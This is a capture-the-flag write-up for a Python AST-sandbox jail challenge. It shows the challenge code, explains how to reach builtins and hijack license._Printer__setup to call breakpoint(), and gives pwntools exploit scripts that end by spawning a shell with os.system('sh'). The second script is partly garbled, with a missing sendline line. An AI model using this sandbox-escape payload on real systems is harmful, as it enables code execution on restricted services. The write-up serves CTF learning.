import ast
def safe_import():
print("Why do you need imports to make tea?")
def safe_call():
print("Why do you need function calls to make tea?")
class CoolDownTea(ast.NodeTransformer):
def visit_Call(self, node: ast.Call) -> ast.AST:
return ast.Call(func=ast.Name(id='safe_call', ctx=ast.Load()), args=[], keywords=[])
def visit_Import(self, node: ast.AST) -> ast.AST:
return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
def visit_ImportFrom(self, node: ast.ImportFrom) -> ast.AST:
return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
def visit_Assign(self, node: ast.Assign) -> ast.AST:
return ast.Assign(targets=node.targets, value=ast.Constant(value=0))
def visit_BinOp(self, node: ast.BinOp) -> ast.AST:
return ast.BinOp(left=ast.Constant(0), op=node.op, right=ast.Constant(0))
code = input('Nothing is quite like a cup of tea in the morning: ').splitlines()[0]
cup = ast.parse(code)
cup = CoolDownTea().visit(cup)
ast.fix_missing_locations(cup)
exec(compile(cup, '', 'exec'), {'__builtins__': {}}, {'safe_import': safe_import, 'safe_call': safe_call})
Requirements:
f"{license}" for license._Printer__setup in [function_to_call]]
to call function_to_call
.__builtins__
of the given function to access builtins dict, or .__globals__["__builtins__"]
of the given function to access builtins module[a:=b]
for assignmentInspired by Pyjail Cheatsheet.
We want to call breakpoint()
, so:
safe_import
: builtins = safe_import.__globals__["__builtins__"]
, to avoid assignment, use [builtins:=safe_import.__globals__["__builtins__"]]
; alternatively, use [builtins:=safe_import.__builtins__]
which is a dict instead of module[...,breakpoint:=builtins.breakpoint,license:=builtins.license]
, or from builtins dict: [...,breakpoint:=builtins["breakpoint"],license:=builtins["license"]]
license._Printer__setup
: [f"{license}" for license._Printer__setup in [breakpoint]]
Attack script using builtins module safe_import.__globals__["__builtins__"]
:
from pwn import *
context(log_level="debug")
p = process(["python3", "astea.py"])
p.recvuntil(b"morning:")
p.sendline(
'[builtins:=safe_import.__globals__["__builtins__"],breakpoint:=builtins.breakpoint,license:=builtins.license,[f"{license}" for license._Printer__setup in [breakpoint]]]'.encode()
)
p.recvuntil(b"(Pdb) ")
p.sendline(b"import os")
p.sendline(b"os.system('sh')")
p.interactive()
Using builtins dict safe_import.__builtins__
:
from pwn import *
context(log_level="debug")
p = process(["python3", "astea.py"])
p.recvuntil(b"morning:")
#'[builtins:=safe_import.__globals__["__builtins__"],breakpoint:=builtins.breakpoint,license:=builtins.license,[f"{license}" for license._Printer__setup in [breakpoint]]]'.encode()
'[builtins:=safe_import.__builtins__,breakpoint:=builtins["breakpoint"],license:=builtins["license"],[f"{license}" for license._Printer__setup in [breakpoint]]]'.encode()
)
p.recvuntil(b"(Pdb) ")
p.sendline(b"import os")
p.sendline(b"os.system('sh')")
p.interactive()
What is license._Printer__setup
?
>>> type(license)
<class '_sitebuiltins._Printer'>
>>> license._Printer__setup
<bound method _Printer.__setup of Type license() to see the full license text>
It corresponds to _setup(self)
function of class _Printer
in _sitebuiltins.py. It is called when we convert license
to str
:
def __repr__(self):
self.__setup() # <- calls license._Printer__setup
if len(self.__lines) <= self.MAXLINES:
return "\n".join(self.__lines)
else:
return "Type %s() to see the full %s text" % ((self.__name,)*2)